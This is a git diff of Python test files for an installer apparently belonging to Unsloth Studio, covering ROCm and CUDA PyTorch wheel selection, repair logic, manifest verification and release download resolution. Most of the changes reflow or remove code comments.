wheel--@pytest.mark.parametrize("torch",[@@ -134,9 +129,9 @@ def test_a_real_device_selection_is_not_a_hidden_host(monkeypatch):],)def test_a_rocm_wheel_keeps_the_fast_path(monkeypatch, torch):- # gfx1100 rather than the default gfx1151: the question here is whether a ROCm wheel is- # left alone, and only an arch every one of these wheels actually carries asks it. Strix- # is not that arch on the older tags, and the case below is where it is answered.+ # gfx1100 rather than the default gfx1151: the question here is whether a ROCm wheel is left alone, and only an+ # arch every one of these wheels actually carries asks it. Strix is not that arch on the older tags, and the case+ # below is where it is answered._host(monkeypatch, torch = torch, gfx = ("gfx1100",))assert _needs_pass() is False@@ -148,9 +143,8 @@ def test_a_strix_host_on_a_wheel_without_its_kernels_forces_the_pass(monkeypatchis the preflight declining a repair the repair itself performs."""_host(monkeypatch, torch = ("2.9.0+rocm6.4", "6.4"), gfx = (gfx,))assert _needs_pass() is True- # A generic tag that does carry them is still not the build Strix wants: the reroute- # prefers AMD's 7.13 fixes over every generic index below the floor, so the pass is due- # until torch IS that build.+ # A generic tag that does carry them is still not the build Strix wants: the reroute prefers AMD's 7.13 fixes over+ # every generic index below the floor, so the pass is due until torch IS that build._host(monkeypatch, torch = ("2.11.0+rocm7.2", "7.2"), gfx = (gfx,), rocm_ver = (7, 2))assert _needs_pass() is True_host(@@ -163,9 +157,6 @@ def test_a_strix_host_on_a_wheel_without_its_kernels_forces_the_pass(monkeypatchassert _needs_pass() is False-# Uncertain classification--@pytest.mark.parametrize("kwargs",[@@ -332,28 +323,21 @@ def test_a_host_without_rocm_wheels_keeps_the_fast_path(monkeypatch, kwargs):assert _needs_pass() is False-# CLI--def _run_cli(*args,env = None,safe_path = False,):- # PINNED, and UNSLOTH_NO_TORCH is pinned for the same reason PATH and HOME already are:- # it is an ambient input to the answer under test that the caller does not intend to vary.- # Left unset, `_infer_no_torch` falls through to `install_manifest.recorded_no_torch()`,- # which reads `.unsloth-no-torch` and `unsloth_install_manifest.json` out of `sys.prefix` --- # one path, shared by every xdist worker. Three other test modules drive the real- # `install_python_stack()` in process and leave that marker behind with no cleanup, so- # whether it exists when this child starts is a race between workers. It resolves the FIRST- # line of `_amd_torch_needs_dependency_pass`, which returns False and exits 1 before any- # wheel-family logic runs, and the probe sends the child's stderr to DEVNULL, so the failure- # arrives as rc=1 with empty stdout and empty stderr and names nothing.- # Measured on origin/main with this file byte-identical: marker absent 8/8 pass, marker- # present 8/8 fail. A test that reports its subject broken on the strength of a file another- # test left lying around is not measuring its subject.- # The `**(env or {})` below still wins, so the cases that set it deliberately are unaffected.+ # PINNED, and UNSLOTH_NO_TORCH is pinned for the same reason PATH and HOME already are: it is an ambient input to+ # the answer under test that the caller does not intend to vary.+ # Left unset, `_infer_no_torch` falls through to `install_manifest.recorded_no_torch()`, which reads+ # `.unsloth-no-torch` and `unsloth_install_manifest.json` out of `sys.prefix` -- one path, shared by every xdist+ # worker.+ # Three other test modules drive the real `install_python_stack()` in process and leave that marker behind with no+ # cleanup, so whether it exists when this child starts is a race between workers.+ # It resolves the FIRST line of `_amd_torch_needs_dependency_pass`, which returns False and exits 1 before any+ # wheel-family logic runs, and the probe sends the child's stderr to DEVNULL, so the failure arrives as rc=1 with+ # empty stdout and empty stderr and names nothing.child = {"PATH": "/usr/bin:/bin","HOME": "/nonexistent",@@ -403,14 +387,12 @@ def test_the_cli_reports_keep_the_fast_path_as_a_non_zero_exit(env_name, safe_pastderr = result.stderr.decode(errors = "replace")# An import failure also exits 1, so exit 1 alone does not prove the gate ran.assert not stderr, stderr- # Read as a STATEMENT, not in an assert message: a `_decision(result)` that appears only- # after the comma runs once the assertion has already failed, so it checks nothing on the- # passing path while reading exactly like it does.+ # Read as a STATEMENT, not in an assert message: a `_decision(result)` that appears only after the comma runs once+ # the assertion has already failed, so it checks nothing on the passing path while reading exactly like it does.decision = _decision(result)assert result.returncode == 1, decision- # ...and the gate that answered must be the one this case names, not whichever other- # exit-1 state the host happened to be in, or the case passes on any host that keeps- # the fast path for an unrelated reason.+ # ...and the gate that answered must be the one this case names, not whichever other exit-1 state the host happened+ # to be in, or the case passes on any host that keeps the fast path for an unrelated reason.expected_field = {"UNSLOTH_NO_TORCH": "no_torch=True","UNSLOTH_TORCH_BACKEND": "backend='cpu'",@@ -441,13 +423,13 @@ def test_the_cli_answers_end_to_end_over_a_stub_torch(tmp_path, version, hip, ex)stderr = result.stderr.decode(errors = "replace")assert not stderr, stderr- # The decision line, not the bare code: exit 1 is five states here, and a bare- # `assert 1 == 0` with both streams empty is what this case used to report. A statement,- # so it is checked on the passing path too, not only when the next line fails.+ # The decision line, not the bare code: exit 1 is five states here, and a bare `assert 1 == 0` with both streams+ # empty is what this case used to report. A statement, so it is checked on the passing path too, not only when the+ # next line fails.decision = _decision(result)assert result.returncode == expected, f"{decision}\n{stderr}"- # The wheel family must be the input that decided it, so the case cannot pass on a host- # that answered before the probe was reached.+ # The wheel family must be the input that decided it, so the case cannot pass on a host that answered before the+ # probe was reached.assert f"'{version}'" in decision, decision@@ -468,8 +450,6 @@ def test_a_malformed_probe_call_never_falls_through_to_the_installer(argv):# Both directions are asserted, so every row must be one the two sides agree on. The# conservative divergences (unreadable torch, hidden mask, mixed arch, wrong ROCm# family) are covered above and do not belong here.--def _repair_installs(monkeypatch):"""Torch index URLs _ensure_rocm_torch installs, under the same stubs."""installed = []@@ -513,8 +493,7 @@ def _repair_installs(monkeypatch):dict(rocm_ver = None, inferred = "gfx1151", rocm_gpu = False, gfx = ()),True,),- # Only UNSLOTH_ROCM_GFX_ARCH carries this: a visible GPU defeats the row- # above's "no runtime" disjunct.+ # Only UNSLOTH_ROCM_GFX_ARCH carries this: a visible GPU defeats the row above's "no runtime" disjunct.("UNSLOTH_ROCM_GFX_ARCH rescuing a visible GPU with an unreadable ROCm",dict(rocm_ver = None, inferred = "gfx1151", gfx = ("gfx1151",)),@@ -526,15 +505,15 @@ def _repair_installs(monkeypatch):dict(rocm_ver = (6, 4), inferred = None, gfx = ("gfx1030",)),True,),- # The default host here is Strix, whose per-arch index needs no host ROCm version, so- # an unreadable one is the shape that route exists for rather than a reason to stop.+ # The default host here is Strix, whose per-arch index needs no host ROCm version, so an unreadable one is+ # the shape that route exists for rather than a reason to stop.("a visible Strix GPU whose ROCm version cannot be read",dict(rocm_ver = None, inferred = None),True,),- # A non-Strix arch the generic wheel does carry: the repair prints "skipping torch- # reinstall" and returns, so the preflight must keep the fast path.+ # A non-Strix arch the generic wheel does carry: the repair prints "skipping torch reinstall" and returns,+ # so the preflight must keep the fast path.("a visible GPU whose ROCm version cannot be read",dict(rocm_ver = None, inferred = None, gfx = ("gfx1100",)),@@ -567,8 +546,6 @@ def test_the_preflight_and_the_repair_agree(monkeypatch, label, host, expected):# Right wheel family, wrong architecture--def _rocm_torch(monkeypatch,*,@@ -679,8 +656,8 @@ def test_a_rocm_pin_is_not_asked_a_hardware_question(monkeypatch):env = {"UNSLOTH_TORCH_INDEX_URL": "https://download.pytorch.org/whl/rocm7.13"},)assert _needs_pass() is False- # A pin that no longer matches the installed wheel is the pin's own question, not a- # hardware one, and _ensure_rocm_torch reinstalls for it.+ # A pin that no longer matches the installed wheel is the pin's own question, not a hardware one, and+ # _ensure_rocm_torch reinstalls for it._rocm_torch(monkeypatch,family = "gfx110x-all",@@ -699,8 +676,8 @@ def test_a_stale_family_no_index_can_repair_keeps_the_fast_path(monkeypatch):and answering True here buys a dependency pass per update and never a working torch."""_rocm_torch(monkeypatch, family = "gfx110x-all", gfx = ("gfx1010",))assert _needs_pass() is False- # An empty leaf is not the test: the datacentre parts have none and the generic index- # serves them, so their stale family is still worth the pass.+ # An empty leaf is not the test: the datacentre parts have none and the generic index serves them, so their+ # stale family is still worth the pass.for _gfx in ("gfx942", "gfx950"):_rocm_torch(monkeypatch, family = "gfx110x-all", gfx = (_gfx,))assert _needs_pass() is True, _gfx@@ -742,7 +719,6 @@ def test_a_sole_gfx906_above_its_legacy_tag_forces_the_pass(monkeypatch):question never saw it and the rocm6.3 downgrade was unreachable from `studio update`."""_rocm_torch(monkeypatch, family = None, gfx = ("gfx906",), rocm_ver = (6, 4))assert _needs_pass() is True- # Already on the legacy tag: nothing left to do._host(monkeypatch, torch = ("2.9.0+rocm6.3", "6.3"), gfx = ("gfx906",), rocm_ver = (6, 4))assert _needs_pass() is Falsediff --git a/tests/studio/install/test_cuda_repair.py b/tests/studio/install/test_cuda_repair.pyindex 1882cbc4919..a8454e742bf 100644--- a/tests/studio/install/test_cuda_repair.py+++ b/tests/studio/install/test_cuda_repair.py@@ -18,8 +18,6 @@ from unittest.mock import MagicMock, patchimport pytest-# Load module under test (mirrors test_rocm_support.py).-PACKAGE_ROOT = Path(__file__).resolve().parents[3]_STACK_PATH = PACKAGE_ROOT / "studio" / "install_python_stack.py"@@ -31,8 +29,7 @@ _STACK_SPEC.loader.exec_module(stack_mod)_SETUP_SRC = (PACKAGE_ROOT / "studio" / "setup.ps1").read_text(encoding = "utf-8")-# The probe prints its answer behind this marker, so chatter on either side of it cannot-# be mistaken for the answer. Mocked stdout has to carry it too.+# The probe prints its answer behind this marker, so chatter on either side of it cannot be mistaken for the answer._MARK = stack_mod._TORCH_PROBE_MARKER_ensure_cuda_torch = stack_mod._ensure_cuda_torch@@ -139,8 +136,8 @@ def _run_cuda_repair(return smi_pathreturn None- # The torch classification is memoized for the life of an install run, so each- # scenario has to start from a clean slate.+ # The torch classification is memoized for the life of an install run, so each scenario has to start from a clean+ # slate.stack_mod._invalidate_torch_runtime_probe()with (@@ -179,8 +176,6 @@ def _index_url(mock_pip) -> str:# Repair fires only on the poisoning signature.--class TestCudaRepairFires:def test_hip_build_on_nvidia_triggers_repair(self):mock_pip = _run_cuda_repair(torch_state = "hip", cuda_version = "12.8")@@ -192,14 +187,14 @@ class TestCudaRepairFires:assert mock_pip.call_args.kwargs["constrain"] is Falsedef test_rocm_in_version_string_triggers_repair(self):- # AMD SDK / Radeon wheels may encode rocm in __version__ without torch.version.hip;- # the probe prints "hip" for both.+ # AMD SDK / Radeon wheels may encode rocm in __version__ without torch.version.hip; the probe prints "hip" for+ # both.mock_pip = _run_cuda_repair(torch_state = "hip")assert mock_pip.call_count == 1def test_no_gpu_but_explicit_cuda_pin_repairs(self):- # Headless / CI cross-install: an explicit cu* pin commits to CUDA wheels with no- # NVIDIA GPU visible, so a ROCm-poisoned venv is still repaired to the pinned family.+ # Headless / CI cross-install: an explicit cu* pin commits to CUDA wheels with no NVIDIA GPU visible, so a+ # ROCm-poisoned venv is still repaired to the pinned family.mock_pip = _run_cuda_repair(nvidia = False,backend = "cuda",@@ -224,7 +219,6 @@ class TestCudaRepairFires:assert "cu128" in _index_url(mock_pip)def test_tagged_cuda_mismatch_repairs(self):- # A healthy CUDA torch whose +cuXXX differs from the pin is repaired.mock_pip = _run_cuda_repair(index_family = "cu128",torch_state = "cuda|cu126",@@ -245,8 +239,8 @@ class TestCudaRepairFires:assert "cu128" in _index_url(mock_pip)def test_broken_probe_with_cuda_pin_repairs(self):- # torch present but unimportable under a CUDA pin: the base update won't repair a- # broken already-installed torch, so reinstall from the pin instead of stranding it.+ # torch present but unimportable under a CUDA pin: the base update won't repair a broken already-installed+ # torch, so reinstall from the pin instead of stranding it.mock_pip = _run_cuda_repair(torch_state = "hip", torch_rc = 1, index_family = "cu128")assert mock_pip.call_count == 1assert "cu128" in _index_url(mock_pip)@@ -261,9 +255,6 @@ class TestCudaRepairFires:assert "https://mirror.local/cu128" in _index_url(mock_pip)-# No-op cases.--class TestCudaRepairSkips:def test_healthy_cuda_torch_no_repair(self):mock_pip = _run_cuda_repair(torch_state = "cuda")@@ -290,8 +281,7 @@ class TestCudaRepairSkips:mock_pip.assert_not_called()def test_torch_missing_no_pin_skips(self):- # Non-zero probe exit = torch missing/un-importable. With NO CUDA pin the base- # install owns it, so leave it alone (a pinned build reinstalls).+ # Non-zero probe exit = torch missing/un-importable.mock_pip = _run_cuda_repair(torch_state = "hip", torch_rc = 1)mock_pip.assert_not_called()@@ -325,7 +315,6 @@ class TestCudaRepairSkips:assert mock_pip.call_count == 1def test_matching_tagged_cuda_pin_no_repair(self):- # Healthy CUDA torch whose +cuXXX already matches the pin: no reinstall.mock_pip = _run_cuda_repair(index_family = "cu128",torch_state = "cuda|cu128",@@ -373,8 +362,7 @@ class TestTorchBackendDerivationFromPin:@staticmethoddef _derive(env):- # Re-run the module's import-time derivation, using its own _is_cuda_family_leaf- # so this stays in lockstep.+ # Re-run the module's import-time derivation, using its own _is_cuda_family_leaf so this stays in lockstep.idx_override = (env.get("UNSLOTH_TORCH_INDEX_URL", "").strip()or env.get("UNSLOTH_TORCH_INDEX_FAMILY", "").strip()@@ -428,9 +416,6 @@ class TestTorchBackendDerivationFromPin:), "_TORCH_BACKEND derivation must not use a bare startswith('cu')"-# CUDA index ladder.--class TestCudaIndexResolution:def test_cuda_128_selects_cu128(self):assert "cu128" in _index_url(_run_cuda_repair(cuda_version = "12.8"))@@ -453,7 +438,6 @@ class TestCudaIndexResolution:assert "cu126" in _index_url(mock_pip)def test_proc_fallback_no_smi_defaults_cu126(self):- # NVIDIA usable via /proc fallback, nvidia-smi absent.mock_pip = _run_cuda_repair(smi_path = None)assert "cu126" in _index_url(mock_pip)@@ -466,8 +450,8 @@ class TestCudaIndexResolution:assert url == f"{stack_mod._PYTORCH_WHL_BASE}/cu126"-# PyTorch 2.11's cu128/cu130 start at sm_75, and their CUDA 13 runtime also costs a-# pre-Turing GPU its llama.cpp GGUF bundle, so such hosts get cu126 (#7765).+# PyTorch 2.11's cu128/cu130 start at sm_75, and their CUDA 13 runtime also costs a pre-Turing GPU its llama.cpp GGUF+# bundle, so such hosts get cu126 (#7765).class TestPreTuringWheelFamily:@@ -486,14 +470,14 @@ class TestPreTuringWheelFamily:assert "cu126" in _index_url(_run_cuda_repair(cuda_version = "13.0", compute_caps = caps))def test_mixed_host_outside_cu126_range_keeps_the_driver_family(self):- # Blackwell is past cu126's ceiling and Kepler is under its floor, so no family- # covers either mix whole. Capping would strand the newer card entirely.+ # Blackwell is past cu126's ceiling and Kepler under its floor, so no family covers either mix whole.+ # Capping would strand the newer card entirely.for caps in (("7.0", "12.0"), ("3.7", "8.6")):assert "cu130" in _index_url(_run_cuda_repair(cuda_version = "13.0", compute_caps = caps))def test_cu126_venv_is_repaired_after_a_blackwell_upgrade(self):- # The span cuts both ways: a cu126 venv predating a GPU swap has nothing for- # sm_120, and a fresh install on that host would pick cu130.+ # The span cuts both ways: a cu126 venv predating a GPU swap has nothing for sm_120, and a fresh install on+ # that host would pick cu130.mock_pip = _run_cuda_repair(torch_state = "cuda|cu126|2.11.0",cuda_version = "13.0",@@ -503,8 +487,8 @@ class TestPreTuringWheelFamily:assert "cu130" in _index_url(mock_pip)def test_cu126_venv_is_kept_when_the_driver_allows_nothing_newer(self):- # Same host, CUDA 12.6 driver: cu130 is not installable, so leave it rather- # than reinstall cu126 over itself on every update.+ # Same host, CUDA 12.6 driver: cu130 is not installable, so leave it rather than reinstall cu126 over itself+ # on every update.mock_pip = _run_cuda_repair(torch_state = "cuda|cu126|2.11.0",cuda_version = "12.6",@@ -513,8 +497,8 @@ class TestPreTuringWheelFamily:mock_pip.assert_not_called()def test_partial_family_is_not_traded_for_another_partial_family(self):- # A working V100 + cu126 box gains a Blackwell card. Neither family covers both,- # so swapping to cu130 would kill the Volta to revive the Blackwell.+ # A working V100 + cu126 box gains a Blackwell card. Neither family covers both, so swapping to cu130 would+ # kill the Volta to revive the Blackwell.mock_pip = _run_cuda_repair(torch_state = "cuda|cu126|2.11.0",cuda_version = "13.0",@@ -523,8 +507,8 @@ class TestPreTuringWheelFamily:mock_pip.assert_not_called()def test_cu118_kepler_build_is_kept(self):- # torch 2.7's cu118 still built sm_37 and nothing newer does, so the replacement- # would strand the GPU that works today.+ # torch 2.7's cu118 still built sm_37 and nothing newer does, so the replacement would strand the GPU that+ # works today.mock_pip = _run_cuda_repair(torch_state = "cuda|cu118|2.7.1",cuda_version = "13.0",@@ -605,11 +589,9 @@ class TestPreTuringWheelFamily:mock_pip.assert_not_called()def test_untagged_cuda_build_uses_the_runtime_family(self):- # An untagged build still reports torch.version.cuda, so _family falls back to- # the runtime value and the architecture policy applies.- # The "family unknown, leave it alone" branch needs BOTH the tag and- # torch.version.cuda empty, which reads as a CPU build, so an untagged CUDA- # build is always classifiable.+ # An untagged build still reports torch.version.cuda, so _family falls back to the runtime value and the+ # architecture policy applies. The "family unknown, leave it alone" branch needs BOTH the tag and+ # torch.version.cuda empty, which reads as a CPU build, so an untagged CUDA build is always classifiable.mock_pip = _run_cuda_repair(torch_state = "cuda||2.11.0",cuda_version = "13.0",@@ -638,8 +620,7 @@ class TestPreTuringWheelFamily:mock_run.assert_not_called()def test_family_spans_track_the_pytorch_wheel_matrix(self):- # Read off pytorch's .ci/manywheel/build_cuda.sh at each release tag. cu118 kept- # Kepler: torch 2.7 still built sm_37 for it.+ # Read off pytorch's .ci/manywheel/build_cuda.sh at each release tag.assert stack_mod._cuda_family_sm_range("cu118") == (37, 90)assert stack_mod._cuda_family_sm_range("cu124") == (50, 90)assert stack_mod._cuda_family_sm_range("cu126") == (50, 90)@@ -652,8 +633,7 @@ class TestPreTuringWheelFamily:assert stack_mod._cuda_family_sm_range("") is Nonedef test_cu128_volta_window_opens_at_torch_28(self):- # 2.7's cu128 dropped sm_50-70 when CUDA 12.8 deprecated them; 2.8 put sm_70- # back and 2.11 took it away again.+ # 2.7's cu128 dropped sm_50-70 when CUDA 12.8 deprecated them; 2.8 put sm_70 back and 2.11 took it away again.assert stack_mod._cuda_family_sm_range("cu128", "2.7.1")[0] == 75assert stack_mod._cuda_family_sm_range("cu128", "2.8.0")[0] == 70assert stack_mod._cuda_family_sm_range("cu128", "2.10.0")[0] == 70@@ -666,8 +646,8 @@ class TestPreTuringWheelFamily:assert "cu126" in _index_url(mock_pip)def test_untagged_pypi_wheel_is_classified_by_its_cuda_runtime(self):- # PyPI forbids local versions, so a torch from PyPI has no +cuXXX tag;- # torch.version.cuda is the only clue that it is a CUDA 13 build.+ # PyPI forbids local versions, so a torch from PyPI has no +cuXXX tag; torch.version.cuda is the only clue that+ # it is a CUDA 13 build.mock_pip = _run_cuda_repair(torch_state = "cuda||2.11.0|cu130",cuda_version = "13.0",@@ -684,8 +664,8 @@ class TestPreTuringWheelFamily:healthy.assert_not_called()def test_repair_is_skipped_when_it_would_reinstall_the_same_family(self):- # aarch64 has no CUDA family below sm_80, so the cap declines and the replacement- # would be the condemned wheel itself, once per update forever.+ # aarch64 has no CUDA family below sm_80, so the cap declines and the replacement would be the condemned wheel+ # itself, once per update forever.mock_pip = _run_cuda_repair(torch_state = "cuda|cu130|2.11.0",cuda_version = "13.0",@@ -710,9 +690,7 @@ class TestPreTuringWheelFamily:assert _sms("7.0\n", returncode = 1) is None-# The updater runs setup.ps1 -> install_python_stack.py, never install.ps1, which held the-# only flavor repair.-+# The updater runs setup.ps1 -> install_python_stack.py, never install.ps1, which held the only flavor repair._ensure_expected_torch_flavor = stack_mod._ensure_expected_torch_flavor_UNSET = object()@@ -879,7 +857,6 @@ class TestExpectedTorchFlavorRepairs:assert _index_url(mock_pip).endswith("/cu128")def test_a_wedged_probe_classifies_from_disk_and_still_repairs(self):- # A stalled driver hangs `import torch`; version.py on disk still names the wheel.ok, mock_pip = _run_flavor_invariant(probe_timeout = True,repaired = "2.10.0+cu124",@@ -1608,9 +1585,9 @@ class TestThePackagesTiedToTheTorchReleaseAreResettled:calls = {"torchao": [], "removed": []}def _try(*a, **k):- # Returns a BOOL, as the real pip_install_try does. list.append() returns- # None, so a stub that only appended reported failure on every call and every- # test here silently exercised the could-not-install branch.+ # Returns a BOOL, as the real pip_install_try does. list.append() returns None, so a stub that only+ # appended reported failure on every call and every test here silently exercised the+ # could-not-install branch.calls["torchao"].append([str(x) for x in a])return not torchao_install_fails@@ -1653,7 +1630,6 @@ class TestThePackagesTiedToTheTorchReleaseAreResettled:assert calls["ok"] is Truedef test_a_cuda_major_change_alone_re_pins_torchao(self):- # _select_torchao_spec branches on cuda>=13, so cu124 -> cu130 moves the build.calls = self._resync("2.10.0+cu124", "2.10.0+cu130")assert calls["torchao"], "the CUDA major moved, so the pin has to be re-selected"assert any("torchao==0.17.0" in " ".join(c) for c in calls["torchao"])@@ -1718,6 +1694,7 @@ class TestThePackagesTiedToTheTorchReleaseAreResettled:assert calls["removed"] == [], "a same-major torchao is slower, not broken"def test_a_torchao_that_reinstalls_cleanly_is_not_removed(self):+ # _select_torchao_spec branches on cuda>=13, so cu124 -> cu130 moves the build.calls = self._resync("2.10.0+cu124", "2.10.0+cu130")assert calls["torchao"], "the CUDA major moved"assert calls["removed"] == [], "the replacement landed; nothing to remove"@@ -1829,8 +1806,7 @@ class TestTheResyncNoticesItsOwnFailures:class TestThePostRepairCheckUsesTheSameRuleAsThePreRepairOne:def test_an_untagged_gpu_wheel_does_not_satisfy_a_cpu_expectation(self):- # Untagged reads as cpu, so the post-repair check would accept the very wheel- # the pre-repair check rejected.+ # Untagged reads as cpu, so the post-repair check would accept the very wheel the pre-repair check rejected.with (patch.object(stack_mod,@@ -2188,7 +2164,6 @@ class TestARepairedTorchThatCannotImport:monkeypatch.setattr(stack_mod, "_installed_torch_label_on_disk", lambda: state["version"])def _pip(_label, *_a, **_k):- # The repair lands the right family, and it does not import.state.update(ran = True, importable = False, version = "2.6.0+cu124")monkeypatch.setattr(stack_mod, "pip_install", _pip)diff --git a/tests/studio/install/test_denied_llama_cpp_preflight.py b/tests/studio/install/test_denied_llama_cpp_preflight.pyindex 6379b5a65e6..2571824407f 100644--- a/tests/studio/install/test_denied_llama_cpp_preflight.py+++ b/tests/studio/install/test_denied_llama_cpp_preflight.py@@ -226,7 +226,6 @@ def test_a_tree_the_user_pointed_at_is_never_called_a_cache_we_own() -> None:"""Preserve user-supplied wording when an override names the managed path."""body = _function_source(INSTALL_PS1, "Invoke-ManagedLlamaCppPreflight")assert "-UserSupplied:$userSupplied" in body- # Cover both the flag and its environment equivalent.assert ("$suppliedDir = if ($WithLlamaCppDir) { $WithLlamaCppDir }"" else { $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR }" in body@@ -257,10 +256,8 @@ def test_the_managed_path_rule_is_not_duplicated_in_the_installer() -> None:# The resolver uses the single default-versus-custom predicate.assert "if (-not (Test-StudioHomeIsCustom)) {" in resolverassert "$legacyStudio" not in resolver- # Canonicalize both sides before comparing.predicate = _function_source(INSTALL_PS1, "Test-StudioHomeIsCustom")assert predicate.count("Get-CanonicalDir -Path") == 2- # Keep canonicalization in one helper.canonicalizer = _function_source(INSTALL_PS1, "Get-CanonicalDir")assert "Resolve-Path -LiteralPath $trimmedPath" in canonicalizer# A denied path cannot resolve, so compare lexical full paths instead.diff --git a/tests/studio/install/test_diffusers_pin.py b/tests/studio/install/test_diffusers_pin.pyindex 703db20d7eb..85e4d7ea28f 100644--- a/tests/studio/install/test_diffusers_pin.py+++ b/tests/studio/install/test_diffusers_pin.py@@ -60,15 +60,11 @@ def test_only_the_pin_file_names_diffusers():for path in sorted(REQ_ROOT.rglob("*.txt")):if path == PIN_FILE:continue- # install_python_stack._filter_requirements writes `.{stem}-filtered-XXXX.txt`- # BESIDE the source on purpose, so relative -r/-c includes still resolve, and it- # does not delete it. So a copy of the pin file can be sitting here while this- # runs -- transiently under pytest-xdist, where another worker is exercising that- # function, and durably on any machine that has run a real install. It is a- # generated temp, not a second source of the pin.- # Matched by that exact shape rather than by "starts with a dot": a checked-in- # hidden file such as .constraints.txt is a real requirements file and a real- # place the pin could be overridden from, so it stays in the scan.+ # install_python_stack._filter_requirements writes `.{stem}-filtered-XXXX.txt` BESIDE the source on purpose, so+ # relative -r/-c includes still resolve, and it does not delete it.+ # Matched by that exact shape rather than by "starts with a dot": a checked-in hidden file such as+ # .constraints.txt is a real requirements file and a real place the pin could be overridden from, so it stays in+ # the scan.if _GENERATED_FILTER.fullmatch(path.name):continuenamed = [line for line in _requirements(path) if line.lower().startswith("diffusers")]diff --git a/tests/studio/install/test_download_host_resolve.py b/tests/studio/install/test_download_host_resolve.pyindex 1b8bbca22a1..0e2f194eaf4 100644--- a/tests/studio/install/test_download_host_resolve.py+++ b/tests/studio/install/test_download_host_resolve.py@@ -188,8 +188,8 @@ def _stub_downloads(monkeypatch.setattr(ILP, "github_release", _no_api)monkeypatch.setattr(ILP, "fetch_json", _no_api)- # The authoritative latest tag comes from the /releases/latest redirect- # (github.com, no api.github.com); stub it so no real request is made.+ # The authoritative latest tag comes from the /releases/latest redirect (github.com, no api.github.com); stub it so+ # no real request is made.monkeypatch.setattr(ILP, "_download_host_latest_release_tag", lambda _repo: latest_tag)def _download_bytes(url, *_a, **_k):@@ -209,16 +209,16 @@ def test_resolved_release_adds_tag_pinned_url_for_manifest_only_asset(monkeypatcresolved = ILP._download_host_resolved_release(FORK_REPO, RELEASE_TAG)assert resolved is not Noneassert resolved.bundle.release_tag == RELEASE_TAG- # Binary is named only in the manifest, yet the fast path must expose a- # tag-pinned CDN URL for it (the API path gets it from the real asset list).+ # Binary is named only in the manifest, yet the fast path must expose a tag-pinned CDN URL for it (the API path gets+ # it from the real asset list).assert resolved.bundle.assets[BINARY_ASSET] == (f"https://github.com/{FORK_REPO}/releases/download/{RELEASE_TAG}/{BINARY_ASSET}")def test_resolved_release_rejects_manifest_checksum_mismatch(monkeypatch):- # A wrong manifest hash in the checksum payload must fail closed, so the- # router falls back to the API rather than trusting the fast path.+ # A wrong manifest hash in the checksum payload must fail closed, so the router falls back to the API rather than+ # trusting the fast path._stub_downloads(monkeypatch, _sha_payload(manifest_sha256 = "b" * 64), _manifest_bytes())with pytest.raises(PrebuiltFallback, match = "manifest checksum"):ILP._download_host_resolved_release(FORK_REPO)@@ -234,8 +234,8 @@ def test_resolved_release_rejects_release_tag_mismatch(monkeypatch):def test_resolved_release_manifest_404_falls_back(monkeypatch):- # An in-progress release can serve the checksum asset before the manifest; a- # manifest 404 returns None so the router falls back to the API.+ # An in-progress release can serve the checksum asset before the manifest;+ # a manifest 404 returns None so the router falls back to the API.not_found = urllib.error.HTTPError(f"https://github.com/{FORK_REPO}/releases/download/{RELEASE_TAG}/{MANIFEST_ASSET}",404,diff --git a/tests/studio/install/test_install_manifest.py b/tests/studio/install/test_install_manifest.pyindex 29559d06c7b..58b8ccfe565 100644--- a/tests/studio/install/test_install_manifest.py+++ b/tests/studio/install/test_install_manifest.py@@ -269,8 +269,8 @@ def test_platform_gated_lines_are_skipped_when_the_marker_does_not_apply(tmp_patdef test_missing_requirements_matches_on_distribution_not_import_name(tmp_path):- # studio.txt lists PyJWT / python-docx / pymupdf, whose import names are- # jwt / docx / fitz, so matching on imports would look missing.+ # studio.txt lists PyJWT / python-docx / pymupdf, whose import names are jwt / docx / fitz, so matching on imports+ # would look missing.req = tmp_path / "studio.txt"req.write_text("pytest\n", encoding = "utf-8")assert im.missing_requirements(req) == []@@ -293,8 +293,7 @@ def test_missing_manifest_reports_incomplete(install_root, req_root):def test_interrupted_install_leaves_no_manifest(install_root, req_root):- # remove_manifest() runs before the dependency pass, so a later kill cannot- # leave a stale-but-valid manifest behind.+ # remove_manifest() runs before the dependency pass, so a later kill cannot leave a stale-but-valid manifest behind.im.write_manifest(root = install_root, req_root = req_root, package_name = "pytest")assert im.manifest_path(install_root).is_file()assert im.remove_manifest(install_root) is True@@ -306,7 +305,6 @@ def test_interrupted_install_leaves_no_manifest(install_root, req_root):def test_remove_manifest_reports_whether_the_marker_is_really_gone(install_root, req_root, monkeypatch):- # Nothing to remove is success: a first install has no manifest yet.assert im.remove_manifest(install_root) is True# A surviving marker must be reported, not swallowed: the dependency pass@@ -349,8 +347,6 @@ def test_package_upgrade_invalidates_the_manifest(install_root, req_root):def test_verify_follows_the_package_the_manifest_names(install_root, req_root):- # `studio update --package X` records X. Checking unsloth's version instead- # would report a change on every probe and repair for ever.im.write_manifest(root = install_root, req_root = req_root, package_name = "pytest")state = im.verify_install(root = install_root,@@ -362,6 +358,7 @@ def test_verify_follows_the_package_the_manifest_names(install_root, req_root):@pytest.mark.parametrize("conflict", ["pytest", "unsloth-zoo"])def test_foreign_metadata_conflicts_invalidate_the_manifest(install_root, req_root, conflict):+ # `studio update --package X` records X.im.write_manifest(root = install_root, req_root = req_root, package_name = "pytest")state = im.verify_install(root = install_root,@@ -376,8 +373,8 @@ def test_foreign_metadata_conflicts_invalidate_the_manifest(install_root, req_rodef test_edited_requirements_invalidate_the_manifest(install_root, req_root):- # The --local dev path: an edited studio.txt must re-run the dependency- # pass, not sit behind setup.sh's "up to date" fast path.+ # The --local dev path: an edited studio.txt must re-run the dependency pass, not sit behind setup.sh's "up to date"+ # fast path.im.write_manifest(root = install_root, req_root = req_root, package_name = "pytest")(req_root / "studio.txt").write_text("pytest\nrich\n", encoding = "utf-8")state = im.verify_install(root = install_root, req_root = req_root, package_name = "pytest")@@ -392,9 +389,8 @@ def test_unwritable_root_degrades_to_incomplete(tmp_path, req_root):def test_no_torch_mode_round_trips_through_the_manifest(install_root, req_root):- # `unsloth studio update` injects no UNSLOTH_NO_TORCH, so the venv has to- # remember how it was built or the update reinstalls torch into a GGUF-only- # environment (and on Windows deletes the venv it is running out of).+ # `unsloth studio update` injects no UNSLOTH_NO_TORCH, so the venv has to remember how it was built or the update+ # reinstalls torch into a GGUF-only environment (and on Windows deletes the venv it is running out of).for recorded in (True, False):im.write_manifest(root = install_root,@@ -410,9 +406,8 @@ def test_no_torch_mode_round_trips_through_the_manifest(install_root, req_root):def test_manifest_without_the_no_torch_key_reads_as_unknown(install_root, req_root):- # Manifests written before the key existed must keep verifying, and must- # 